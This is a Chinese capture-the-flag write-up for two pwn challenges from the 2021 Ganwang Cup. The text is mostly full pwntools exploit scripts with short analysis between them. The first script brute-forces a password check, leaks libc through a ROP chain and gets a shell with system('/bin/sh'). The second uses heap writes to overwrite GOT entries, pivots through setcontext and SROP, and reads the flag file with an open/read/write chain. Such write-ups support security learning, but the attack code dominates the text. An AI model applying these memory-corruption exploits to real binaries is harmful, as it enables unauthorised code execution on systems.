2021赣网杯pwn部分wp

  1. 1. ezpasswd
    1. 1.1. 题目分析
    2. 1.2. exp
  2. 2. pwn
    1. 2.1. 题目分析
    2. 2.2. exp

ezpasswd

题目附件

题目分析

image-20211206174003298

主要还是前面密码的绕过。

image-20211206174227237

这里通过将v4数组填满泄露出计数器i,使得我们可以不断尝试爆破密码

image-20211206174513493

然后就是构造rop链进行攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./ezpasswd'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
io=process(binary)
else:
io=remote()
e=ELF(binary)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x4f3d5,0x4f432,0x10a41c]

passwd = b''
'''
Gadgets information
============================================================
0x0000000000401a5c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401a5e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401a60 : pop r14 ; pop r15 ; ret
0x0000000000401a62 : pop r15 ; ret
0x0000000000401a5b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401a5f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011fd : pop rbp ; ret
0x0000000000401a63 : pop rdi ; ret
0x0000000000401a61 : pop rsi ; pop r15 ; ret
0x0000000000401a5d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x00000000004013fc : ret 0x4e74
0x000000000040169e : ret 0x8948
0x0000000000401328 : ret 0x8b48
0x0000000000401414 : ret 0x8d48
'''
index = 0
for i in range(5):

for a in range(0x21,0x7f):
n=r(2)
if n == b'En':
ru('ter your PASSWD :\n')
else:
break
#ru("Enter your PASSWD :\n")
pay = passwd+p8(a)+b'a'*(7-i)
sl(pay.ljust(0x101,b'a'))
n=r(2)
if n == b'Wr':
ru('ong passwd : ')
else:
break

r(0x100)
p = r(1)
ru('Login fail\n')
if p ==p8(index+1):
print(a)
passwd=passwd+p8(a)
print(passwd)
index+=1
print(index)
continue
pay = b'a'*0x100+p64(0x4053F0)+p64(0x0000000000401a61)+p64(0x404048)+p64(0)+p64(0x00000000004014BF)
#gdb.attach(io)
ru("What's your name?")
sl(pay)
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['setbuf']
su('libc_base',libc_base)
system = libc.sym['system'] + libc_base
pay = b'a'*0x108+p64(0x0000000000401a63)+p64(next(libc.search(b'/bin/sh'))+libc_base)+p64(0x000000000040101a)+p64(system)
ru("What's your name?")
sl(pay)
shell()

pwn

题目附件

题目分析

image-20211207205730368

image-20211207210017717

add配合edit可以任意写,但是比赛的时候卡在了leak地址上,赛后看了wp恍然大悟,这道题目感觉就是单纯考技巧,打法和西湖有点类似,改alarm的got表为syscall,配合byebye函数泄露地址,巧就巧在,alarm的第一个参数即rdi为1,其他参数刚好是read后的堆地址和size,然后read可以控制rax寄存器,然后可以打印堆块里面的内容,泄露地址可能这个方法会比较好。

image-20211207212038437

leak地址之后就是改deletegot表为setcontext+53,然后就是srop拿flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./pwn'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
e=ELF(binary)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
def login():
ru("username: ")
sl('rootroot')
ru("password: ")
sl(b"#$%^&*!@")
def choice(index):
ru('chose > ')
sl(str(index))
def add(size,content='1'):
choice(1)
ru("size > ")
sl(str(size))
s(content)
def free(index,num=1):#3 times
choice(2)
ru("idx > ")
sl(str(index))
ru("Sure delete ?")
if num==1:
sl('Y')
else:
sl('n')
def edit(content):#7 times
choice(3)
s(content)
def bye(content):
choice(4)
ru("byebye, good night~")
s(content)

login()
for i in range(15):
add(0x100,b'a'*0x20+p64(0)+p64(0xf1))
add(0x410)
add(0xfc80)
edit(b'\x9d')
free(16,0)#1n
add(0xfc80+1)
edit(b'\x64')#exit->init
free(17,0)

add(0xfcf0)

edit(b'\x15')#alarm-> syscall ret
free(15)

bye('a')
ru(b'\x7f')
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebe20
su('libc_base',libc_base)
setcontext=libc_base+336309#setcontext+53
syscall = next(libc.search(asm("syscall\nret")))+libc_base
su('setcontext',setcontext)
fh = libc.sym['__free_hook'] + libc_base
free(17,0)
add(0xfcf0)
edit(b'\x1f')#alarm-> ret
free(17,0)
add(0xfc60)
free(14)
for i in range(6):
edit(p8((setcontext>>(8*i))&0xff))#free -> setcontext+53

free(17,0)#index = 16
free(17,0)#index = 15
free(17,0)#index = 14
frame = SigreturnFrame()
frame.rsp = (fh&0xfffffffffffff000)+8
frame.rax = 0
frame.rdi = 0
frame.rsi = fh&0xfffffffffffff000
frame.rdx = 0x2000
frame.rip = syscall
add(0x200,bytes(frame))#index 14
#
rl()
choice(2)
ru("idx > ")
sl(str(14))
ru("Sure delete ?")
gdb.attach(io)
s('Y')

layout = [next(libc.search(asm('pop rdi\nret')))+libc_base
,fh&0xfffffffffffff000
,next(libc.search(asm('pop rsi\nret')))+libc_base
,0
,next(libc.search(asm('pop rdx\nret')))+libc_base
,0
,next(libc.search(asm('pop rax\nret')))+libc_base
,2
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,3
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xfffffffffffff000)+0x200
,next(libc.search(asm('pop rdx\nret')))+libc_base
,0x30
,next(libc.search(asm('pop rax\nret')))+libc_base
,0
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,1
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xfffffffffffff000)+0x200
,next(libc.search(asm('pop rdx\nret')))+libc_base
,0x30
,next(libc.search(asm('pop rax\nret')))+libc_base
,1
,syscall]
shellcode=b'./flag'.ljust(8,b'\x00')+flat(layout)
sl(shellcode)


shell()